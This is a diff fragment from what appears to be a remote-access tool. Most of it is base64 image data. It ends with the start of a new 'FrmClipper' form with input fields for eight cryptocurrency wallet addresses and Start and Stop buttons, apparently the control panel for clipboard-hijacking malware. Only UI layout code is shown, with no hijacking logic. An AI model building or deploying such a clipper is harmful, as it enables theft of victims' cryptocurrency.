/////v7/7uXi/+HZ1f/p4+D/597b/+ro5v/j29f/0cnE/7uyrv+qnpn/gHNs/1ZHQf8+LSb/KxsU/ygX + EP8rGxP/NCQd/zoqJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OSki/ysbFP9HNzDVcmJbgf// + /wH///8B////Af///wH///8B////AVBAOa0/LyjvMyMc/zgoIf84KCH/OSki/zkpIv86KiP/PCwl/zQk + Hv8lFAz/IxEJ/zclHf9rXFX/opiU/9zW0////////v////Du7f/d2Nb/xL+9/6edmf+LfHf/cGNd/1lL + RP9ENTL/LxoT/7yyrv////////7+/5+UkP8kEAj/RzUu/0o5M/9SQz7/Y1ZR/39zbf+ilpD/t6yn/8W8 + t//c0Mv/yr+8/6WZk/9sXVf/RTUv/ysbFP8lEwz/MyMc/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8sHBX/Rzcw3W5eV43///8B////Af///wH///8B////Af///wFTQzynPy8o6zEhGv84KCH/OCgh/zkp + Iv86KSL/Oysk/ygXEP8fDAT/RDIr/5OJhf/Z1NH///////z7+//Z1NL/r6ai/3ttZ/9LOzT/OSYe/yYV + DP8fDAX/IA4G/yIQCP8lEgr/EwIA/yQTDf/W0M3////////////EvLn/GwgA/x4PCP8nFxD/IhEJ/yIQ + Cf8hDwf/Hw0F/yAOB/83JR//Tz84/21fWP+cjoj/ua+q/8W8uP+Zjoj/WElC/ykZEv8jEQn/OCgh/zoq + I/84KCH/OSki/zkpIv86KiP/LBwV/0c3MNluXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zgoIf84KCH/Nycg/x4LBf82JBv/l42I/+rn5v//////5+Ti/6Sbl/9dTkj/NCMc/yQR + Cf8gDQb/IBAI/ycXEP8zIxz/OSki/zoqI/86KyT/PS0m/yQTCv9ZSED/7Ono////////////5OHg/0Ex + Kv8mFg//PS0m/zssJf87KyT/Oiok/zkqI/85KSL/MCAZ/yMTDP8fDQX/IxIL/zopIv9ZSkT/kYV+/761 + sf+pnpr/VUdA/x4OBv8xIRr/Oysk/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/Nicg/xwKAv9VQjv/1M3J///////q5eT/k4iC/0Av + KP8iEQn/IQ8H/ygYEf80JB3/OCgh/zsrJP87KyT/Oioj/zoqI/86KiP/Oysk/z0sJf8fDQX/hnhy//v5 + +P////////////Lv7/9qWlP/IRAI/z0tJv86KiP/OSki/zkpIv85KSL/OSki/zoqI/87KyT/Oioj/zcn + IP8sHBT/IhEJ/ycVDv9BMSr/hnp0/8zCvf+KenP/IxMM/y0eF/86KiP/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// + //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX + EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c + Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb + FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.Designer.cs new file mode 100755 index 0000000..640d4aa --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.Designer.cs @@ -0,0 +1,266 @@ +namespace Quasar.Server.Forms +{ + partial class FrmClipper + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.lblTitle = new System.Windows.Forms.Label(); + this.lblBTC = new System.Windows.Forms.Label(); + this.txtBTC = new System.Windows.Forms.TextBox(); + this.lblLTC = new System.Windows.Forms.Label(); + this.txtLTC = new System.Windows.Forms.TextBox(); + this.lblETH = new System.Windows.Forms.Label(); + this.txtETH = new System.Windows.Forms.TextBox(); + this.lblXMR = new System.Windows.Forms.Label(); + this.txtXMR = new System.Windows.Forms.TextBox(); + this.lblSOL = new System.Windows.Forms.Label(); + this.txtSOL = new System.Windows.Forms.TextBox(); + this.lblXRP = new System.Windows.Forms.Label(); + this.txtXRP = new System.Windows.Forms.TextBox(); + this.lblTRX = new System.Windows.Forms.Label(); + this.txtTRX = new System.Windows.Forms.TextBox(); + this.lblBCH = new System.Windows.Forms.Label(); + this.txtBCH = new System.Windows.Forms.TextBox(); + this.btnStart = new System.Windows.Forms.Button(); + this.btnStop = new System.Windows.Forms.Button(); + this.btnCancel = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = true; + 